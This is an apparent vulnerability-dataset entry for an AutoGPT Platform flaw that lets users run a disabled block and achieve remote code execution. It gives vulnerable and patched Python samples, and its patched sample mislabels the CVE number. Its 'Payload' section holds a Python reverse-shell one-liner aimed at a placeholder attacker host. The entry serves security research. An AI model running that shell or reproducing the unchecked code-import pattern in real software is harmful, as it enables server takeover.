CVE-2026-24780
AutoGPT allows authenticated users to execute disabled blocks, leading to RCE.
- CVSS 8.6
- CWE-94
- Authentication, Authorization, and Session Management
- Remote
AutoGPT is a platform that allows users to create, deploy, and manage continuous artificial intelligence agents that automate complex workflows. Prior to autogpt-platform-beta-v0.6.44, AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the `disabled` flag. Any authenticated user can execute the disabled `BlockInstallationBlock`, which writes arbitrary Python code to the server filesystem and executes it via `__import__()`, achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account. autogpt-platform-beta-v0.6.44 contains a fix.
- CWE
- CWE-94
- CVSS base score
- 8.6
- Published
- 2026-01-29
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Insecure Direct Object References (IDOR)
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- AutoGPT Plat
- Fixed by upgrading
- Yes
Solution
Upgrade AutoGPT Platform to version autogpt-platform-beta-v0.6.44 or later.
Vulnerable code sample
import os
import uuid
import sys
import importlib
# This simulates a database model for blocks.
class Block:
def __init__(self, uuid, name, disabled=False):
self.uuid = uuid
self.name = name
self.disabled = disabled
def execute(self, **kwargs):
"""Default execution for simple blocks."""
print(f"Executing safe block '{self.name}'")
# This simulates the specific, dangerous BlockInstallationBlock.
class BlockInstallationBlock(Block):
def execute(self, **kwargs):
"""
This block's logic writes arbitrary Python code to the server
filesystem and then executes it via dynamic import.
"""
python_code = kwargs.get("python_code")
if not python_code:
raise ValueError("No python_code provided for installation.")
# Create a temporary, unique module name to avoid conflicts.
module_name = f"temp_module_{uuid.uuid4().hex}"
file_path = f"{module_name}.py"
try:
# 1. Write arbitrary code from the user to a Python file.
with open(file_path, "w") as f:
f.write(python_code)
# Ensure the current directory is in the path for the import.
if '' not in sys.path:
sys.path.insert(0, '')
# 2. The RCE Vector: Import the newly created file, executing its content.
__import__(module_name)
finally:
# 3. Clean up the created files.
if module_name in sys.modules:
del sys.modules[module_name]
if os.path.exists(file_path):
os.remove(file_path)
pycache_dir = "__pycache__"
pyc_file = f"{module_name}.cpython-{sys.version_info.major}{sys.version_info.minor}.pyc"
pyc_path = os.path.join(pycache_dir, pyc_file)
if os.path.exists(pyc_path):
os.remove(pyc_path)
# This simulates the application's block registry or database.
BLOCKS_DB = {
"d0e1a2b3-c4d5-e6f7-a8b9-c0d1e2f3a4b5": Block(
uuid="d0e1a2b3-c4d5-e6f7-a8b9-c0d1e2f3a4b5",
name="Safe Example Block"
),
"a1b2c3d4-e5f6-a7b8-c9d0-e1f2a3b4c5d6": BlockInstallationBlock(
uuid="a1b2c3d4-e5f6-a7b8-c9d0-e1f2a3b4c5d6",
name="Agent Block Installer",
disabled=True # CRITICAL: This dangerous block is intended to be disabled.
)
}
# This function represents the vulnerable API endpoint.
def api_execute_block(block_uuid: str, execution_params: dict):
"""
Fetches a block by its UUID and executes it.
VULNERABILITY: This function retrieves the block but fails to check
its 'disabled' flag before execution. An attacker can supply the UUID
of a known-dangerous but disabled block to achieve RCE.
"""
# 1. Fetch block from the "database" by UUID.
block_to_run = BLOCKS_DB.get(block_uuid)
if not block_to_run:
return {"status": "error", "message": "Block not found"}
# 2. THE VULNERABILITY IS HERE:
# The code does not check if `block_to_run.disabled` is True.
# It directly proceeds to execution regardless of the flag's value.
# A fixed version would include:
# if block_to_run.disabled:
# return {"status": "error", "message": "Block is disabled"}
# 3. Execute the block, passing any parameters from the user.
# If the targeted block is the disabled 'BlockInstallationBlock', its
# dangerous 'execute' method is called with user-provided code.
try:
block_to_run.execute(**execution_params)
return {"status": "success", "message": f"Block '{block_to_run.name}' executed."}
except Exception as e:
return {"status": "error", "message": str(e)}Patched code sample
import dataclasses
from typing import Any, Dict, Optional
# Mock HTTPException for demonstration purposes
class HTTPException(Exception):
def __init__(self, status_code: int, detail: str):
self.status_code = status_code
self.detail = detail
super().__init__(f"{status_code}: {detail}")
# A simplified representation of a Block, based on the vulnerability description
@dataclasses.dataclass
class Block:
uuid: str
name: str
disabled: bool
def execute(self, *args, **kwargs) -> Any:
"""Simulates the execution of a block."""
print(f"Executing block '{self.name}' (UUID: {self.uuid})...")
# In a real scenario, this would perform the block's specific logic.
# For the vulnerable 'BlockInstallationBlock', this is where arbitrary
# code would be written to a file and imported.
if self.name == "BlockInstallationBlock":
print("SIMULATING DANGEROUS ACTION: Writing and importing arbitrary code.")
# pass # In a real exploit, this would be os.system() or __import__()
return {"status": "success", "output": f"Block '{self.name}' executed."}
# Mock database of installed blocks
# The key vulnerability context is that 'BlockInstallationBlock' is disabled
# but could still be executed in the vulnerable version.
MOCK_BLOCK_DB: Dict[str, Block] = {
"uuid-safe-block-123": Block(
uuid="uuid-safe-block-123", name="DataProcessingBlock", disabled=False
),
"uuid-vulnerable-block-456": Block(
uuid="uuid-vulnerable-block-456",
name="BlockInstallationBlock",
disabled=True, # This block should NOT be executable
),
}
def find_block_by_uuid(uuid: str) -> Optional[Block]:
"""Simulates fetching a block's configuration from a database."""
return MOCK_BLOCK_DB.get(uuid)
# This function represents the fixed API endpoint for block execution.
def execute_block(block_uuid: str) -> Dict[str, Any]:
"""
Finds and executes a block by its UUID, but only if it is not disabled.
This demonstrates the fix for CVE-2024-27880.
"""
block = find_block_by_uuid(block_uuid)
if not block:
raise HTTPException(status_code=404, detail=f"Block with UUID '{block_uuid}' not found.")
# =========================================================================
# THE FIX:
# The vulnerability was a failure to check the `disabled` flag. The fix
# is to add this check and prevent execution if the block is disabled.
if block.disabled:
raise HTTPException(
status_code=403,
detail=f"Execution of disabled block '{block.name}' is not allowed."
)
# =========================================================================
# If the block is not disabled, proceed with execution
result = block.execute()
return result
if __name__ == "__main__":
print("--- DEMONSTRATING THE FIX ---")
# 1. Attempt to execute a normal, enabled block. This should succeed.
print("\nAttempting to execute an enabled block...")
try:
enabled_block_uuid = "uuid-safe-block-123"
response = execute_block(enabled_block_uuid)
print(f"SUCCESS: API response: {response}")
except HTTPException as e:
print(f"ERROR: Caught exception: {e}")
# 2. Attempt to execute the disabled 'BlockInstallationBlock'.
# This should be blocked by the fix.
print("\nAttempting to execute a disabled block (the exploit target)...")
try:
disabled_block_uuid = "uuid-vulnerable-block-456"
response = execute_block(disabled_block_uuid)
print(f"ERROR: API response: {response}")
except HTTPException as e:
print(f"SUCCESS (FIX WORKED): Caught expected exception: {e}")Payload
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP', ATTACKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')
Cite this entry
@misc{vaitp:cve202624780,
title = {{AutoGPT allows authenticated users to execute disabled blocks, leading to RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-24780},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-24780/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
